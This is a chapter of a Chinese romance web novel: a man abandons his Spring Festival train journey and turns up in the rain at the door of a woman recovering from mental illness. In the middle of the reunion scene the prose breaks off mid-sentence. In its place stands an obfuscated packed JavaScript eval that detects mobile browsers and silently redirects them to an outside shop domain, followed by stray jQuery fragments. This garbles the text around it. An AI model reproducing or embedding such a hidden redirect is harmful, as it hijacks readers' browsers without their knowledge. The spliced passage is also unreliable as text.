“前方到站兰考南，停站时间2分钟，请各位旅客做好下车准备。”
车辆减速，缓缓地进站，齐星光却像是突然想到了什么似的，忽的站起身来，将行李架上的行李用力的拖下来，因为声音太大，邻座的几个人回过头来张望，他嘴里念叨着“对不起。”一边手忙脚乱地在拥挤的行李架上寻找自己的双肩包，和一个特产箱子。
列车已经靠站，停了下来。
他顾不上自己的形象，将箱子摞在行李箱上，拖着双肩包几乎是逃窜一般地下了车。在他踩着地面那一刻，车门也随机在他身后关上。
看着疾驰而去的列车，他站在站台上喘着粗气，自己都觉得不可思议。
为什么要下车？他不知道。这个决定做得太突然，太不理智，太不计后果。
但是心里，一下子变得很踏实。
他拖着行李挤出站，来到售票大厅，才发现计划之外的事情是：今天所有的列车都已经买不到票了。春运期间的最后几天，哪还有空位等着他。他苦笑着，拖着重重的行李走出了候车厅。肚子不合时宜地叫了起来，让他看起来更加狼狈。从昨晚就开始整理东西，今天早上又匆匆忙忙地赶路，这会才想起来好几餐都没有吃了。他找了一家路边还开门的面馆，招牌上写着（大刀面）。馆子里的人还是很多，他挤了个角落的位置坐下。不一会儿一大碗面飘着热气上来了，虽是大刀，面却很细。不知道是不是饿了，他觉得太好吃了，连最后一口汤都干了。
走出面馆，太阳慢慢西沉，天气有些湿冷，他在手机上查来查去，试了许多中转的方式还是没有破局。
且说另一个城市的肖怡，她在疗养院的休息厅坐了很久。别人看来这里的人都是病人，可是她却觉得在这里很自在、舒服。没有人用异样的目光看你，因为每个人的目光都是异样的，包括他们看自己。有的人突然咿咿呀呀地唱起来，有的人会和身边的人讲道理，倒是也热热闹闹的。
林医生接诊了两个来访者，换下了白大褂走出病房的时候，看到肖怡还在休息厅坐着，有点吃惊，“你还没走？又贪恋疗养院的环境了？”
肖怡笑笑，站起身来。
“一起走吧，门诊楼要下班了。”
两人并肩往外走。肖怡看着窗外天色暗了下来，“时间过的好快。”
“对啊。”林医生感慨道，“有时候我都在想时间到底是什么，或许本来就不存在。就像旋转木马，晚上转过去，就是白天，白天转过去，等下还是会再转回来。便觉得，其实都一样。”
两人边聊边往车库走去，林医生忽然注意到什么，诧异地问道：“自己开车来的？你可以自己开车了？”
“嗯。”肖怡道，“近两个月开始的。”
“没有出现……危险的状况吧？”林医生话到嘴边，又委婉了些许。
肖怡想起上次因为开车出现了幻觉，将车开进了排水沟。那还是很久以前的事了。认真回答道，“最近没有。”
“加油。”林医生出了电梯顿了顿脚步，“你是我接诊的患者中，为数不多能将痛苦滋养出花的人。让我想起了最近一部大热的动漫里那句台词——‘身在无间，心在桃源。’”
肖怡愣了愣，又笑了起来，“没想到林医生还喜欢看动漫~”
林医生哈哈大笑了起来，“没办法，我们这个职业也需要‘净化’，有时候逃离人群，可以暂时的忘了自己是谁。”
两辆车前后驶出了疗养院。
越往城市的地方走，越有了‘年味儿’，江市路两旁的树上挂满了各色的彩灯，等红绿灯时，她看到有的小巷子里将彩灯连在一起，像是织了一条大大的网，人们从巷子里走过时，脸上被灯光照的红彤彤的。街道上车水马龙，人行道上的人们手中拎着塞的满满当当的购物袋。
时间或许没有形状，可是因为人们，便赋予了其形状。
肖怡的车缓缓汇入车流。车里很安静，只有空调的嗡嗡声。她忽然想起林医生说的那句“身在无间，心在桃源”。那些苦难交错的记忆是她走不出的无间地狱，插画是她的桃源，而现在桃源不只是插画。
等红灯的时候，她下意识地看了一眼手机。没有消息。齐星光今天只发了一条“上车了”，然后就再没有动静。她想着他可能在睡觉，可能在和家人聊天，可能忙得顾不上。也好。她告诉自己。他有他的生活。
回到家，她热了一点冰箱里的菜，坐在餐桌前慢慢吃。绿宝石跳上桌角，盯着她的筷子。她夹了一小块肉放在桌上，看着它小心翼翼地凑过来。
“你说，”她对着绿宝石说，“大家都是怎么过年的啊？”
绿宝石只顾着吃肉，头也不抬。
肖怡笑了笑，笑自己傻。
吃完饭，她收拾了碗筷，在客厅坐了一会儿。电视开着，放着什么热闹的节目，她一个字也没听进去。后来困意涌上来，她关了电视，上楼睡觉。
躺下的时候，她又看了一眼手机。
十点半。还是没有消息。
也许他已经睡了。也许车上太拥挤，信号不好。也许……
她没有继续想下去，把手机放在床头，闭上眼睛……
凌晨三点四十分。
肖怡从梦中醒来。
不是噩梦，只是一个很普通的梦。梦见自己在画一幅画，画了很久都画不完，一直在调颜色，一直在改线条。然后有人敲门，她就醒了。
她躺着，听着窗外的声音。
下雨了。
雨滴打在窗户上发出的细微声响，很轻，很密。她想，明天倒是不用浇菜园子了。
就在这时，她听见了另一个声音。
不是雨。
是脚步声。
有人踩在雨水上，走进了院子。
她的心脏猛地收紧。
脚步声越来越近。
她屏住呼吸，手慢慢伸向床头柜——摸上了电击棒，那是邓希远他们买来说是防野猪的，后来就一直放在那儿。
脚步声停在屋门口。
然后是敲门声。
三下。很轻。
肖怡没有动。
又是三下。还是那么轻，像是怕惊扰什么似的。
她握着电击棒，悄悄起身，走到窗边，拉开一点点窗帘。院子里亮着路灯，雨正下得密。在那一片白茫茫的水光里，站着一个人。
一个她认识的人。
电击棒从手里滑落，砸在地板上，发出一声闷响。
肖怡愣在原地，不敢相信自己的眼睛。
那个人站在门口，衣服全被雨水打湿了，头发上也是湿漉漉的。他拖着一个行李箱，背着一个双肩包，像一个长途跋涉的旅人，又像一个从梦里走出来的人。
齐星光！
她几乎是冲下楼的。
楼梯的灯没开，她差点踩空，扶着墙才稳住身体。门锁哆嗦了好几下才打开。门开的瞬间，冷风裹着水汽扑面而来。他就站在那儿，看着她，眼睛里有疲惫，有笑意，有她看不懂的很多东西。
雨水将他的头发湿成了一缕一缕，
肖怡张了张嘴，声音
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757173|205375||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
卡在喉咙里。
过了很久，她才问出那句最普通的话：
、“你……”她的声音有些抖，“你怎么回来的？你不是在火车上吗？”
“半途下车了。”齐星光看着她，忽然笑了。那个笑容在雨里显得有点傻，又有点暖。
“下车？那你怎么……”
“搭了一段顺风车，一个大货车师傅，人特别好。后来又换了一辆，到江市的时候凌晨两点多，打了车，结果前面有段路太泥泞，师傅进不来了。我走了半个小时进来的。”他说这些的时候语气很平常，
肖怡更加吃惊，“你不是说车票是好不容易抢到的，这下还怎么坐车？”
“那就不坐车了，”
肖怡的睫毛颤了颤。
“开车回家。”他笑了笑。“我想好了。我要带你回家过年。”
“这怎么行？”
“以前没有我，你只能去理解环境。”他顿了顿，声音有些低，“但是现在有我了，你可以不用再那样了。”
雨水落在两个人之间，落在门槛上，落在她赤裸的脚背上。
肖怡低头，看着自己的脚，又抬头看着他湿漉漉的脸。他的脸冻得有些红，嘴唇有点干，眼睛里有血丝。可是他在笑。有些稚嫩，有些坚毅。
她忽然不知道该说什么。
她只是站在那儿，看着他，看着他身上湿透的衣服，看着他拖来的那个行李箱——箱子轮子上沾满了泥，一定走了很远的路。
齐星光也看着她。看着她光着的脚，看着她凌乱的头发，看着她苍白的面色，这几天一定又没有好好吃饭。
他放下行李箱，往前迈了一步，站到门槛里面。
“我来了。”他说。
就三个字。肖怡的眼泪忽然涌了出来。没有声音，没有预兆，就那么流了满脸。齐星光伸出手，把她拉进怀里。她的脸埋在他胸口，他的外套冰凉，还带着外面的寒气。可是他的怀抱是暖的。他的手轻轻拍着她的背，像在哄一个孩子。
不知道过了多久，肖怡从他怀里退出来，用手背胡乱擦着眼泪。她的眼睛红红的，鼻子也红红的，看起来很狼狈。可是她看着他的时候，眼睛里有一种光。那种光，齐星光从来没有见过。
“你疯了。””她的声音在抖，“你怎么能……半路下车？春运的票有多难抢你知道吗？本来再过一两个小时，你就该到家了。”
齐星光愣了一下，
“你知不知道我会担心？”她的眼泪又涌出来，“你万一没搭上车怎么办？万一路上出事怎么办？万一……”
她说不下去了。
齐星光看着她，忽然就懂了。
她不是在责怪他。她是在害怕。
害怕有人为她做这种事。害怕自己值得被这样对待。害怕万一哪天，这个人不在了，她要怎么回到那个“习惯了”的状态。
他伸出手，把她拉回怀里。
“没有万一。”他说，“我在这儿。”
齐星光拖着行李箱跨进门槛。门在他身后关上，隔绝了外面的风雨。
客厅里亮着暖黄的灯，绿宝石和梦想家从沙发上抬起头，看了他一眼，又懒洋洋地趴下去。茶几上放着一个喝了一半的水杯，画架上是一张空白的画纸，只画了一道歪歪扭扭的线。
“快去换衣服，容易着凉。”肖怡推开了他。
待齐星光洗了个热水澡换好了衣服，才终于又神清气爽了起来，接过肖怡递过来的热茶喝了几口，又认真道，“明天我们就出发，让你过一个热闹闹的年。”